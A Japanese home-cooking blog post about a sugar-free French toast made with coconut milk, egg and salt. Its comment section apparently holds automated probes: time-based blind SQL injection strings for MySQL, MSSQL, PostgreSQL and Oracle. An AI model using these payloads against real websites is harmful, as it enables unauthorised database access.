2020/05/14

今日のお弁当

とっても簡単で手軽な

フレンチトースト

時々食べたくなるのですが

なるべくお砂糖を使わない食事をしていますのでの

どうしたら美味しいフレンチトーストになるかな？？

と考えた末

ココナツミルクと卵

そして塩で作ってみました

ココナツミルクが苦手は方は

豆乳でも良いと思います

（牛乳は使用しません）

塩がココナツミルクの甘さを引き立たせてくれるのだと思うのですが

ほんのり甘くて

美味しいのです

分量は・・

いつも適当なのですが

ココナツミルク200㎖を使用していますので

それに卵１個

塩適宜

パンもその時によってですが

ハード系が多いかもしれません

食パンでも美味しいと思います

お子さんのおやつにも良いかもしれませんね

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コメント: 37

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DExWtSbs (日曜日, 08 8月 2021 03:18)

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DExWtSbs (日曜日, 08 8月 2021 03:19)

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DExWtSbs (日曜日, 08 8月 2021 03:20)

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0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
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DExWtSbs (日曜日, 08 8月 2021 03:22)

-1); waitfor delay '0:0:15' --
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DExWtSbs (日曜日, 08 8月 2021 03:23)

-5) OR 573=(SELECT 573 FROM PG_SLEEP(15))--
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DExWtSbs (日曜日, 08 8月 2021 03:23)

dTX92XlC')) OR 313=(SELECT 313 FROM PG_SLEEP(15))--
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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (日曜日, 08 8月 2021 03:32)

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6qebjOuY'; waitfor delay '0:0:15' -- (日曜日, 08 8月 2021 03:33)

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DExWtSbs'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (日曜日, 08 8月 2021 03:33)

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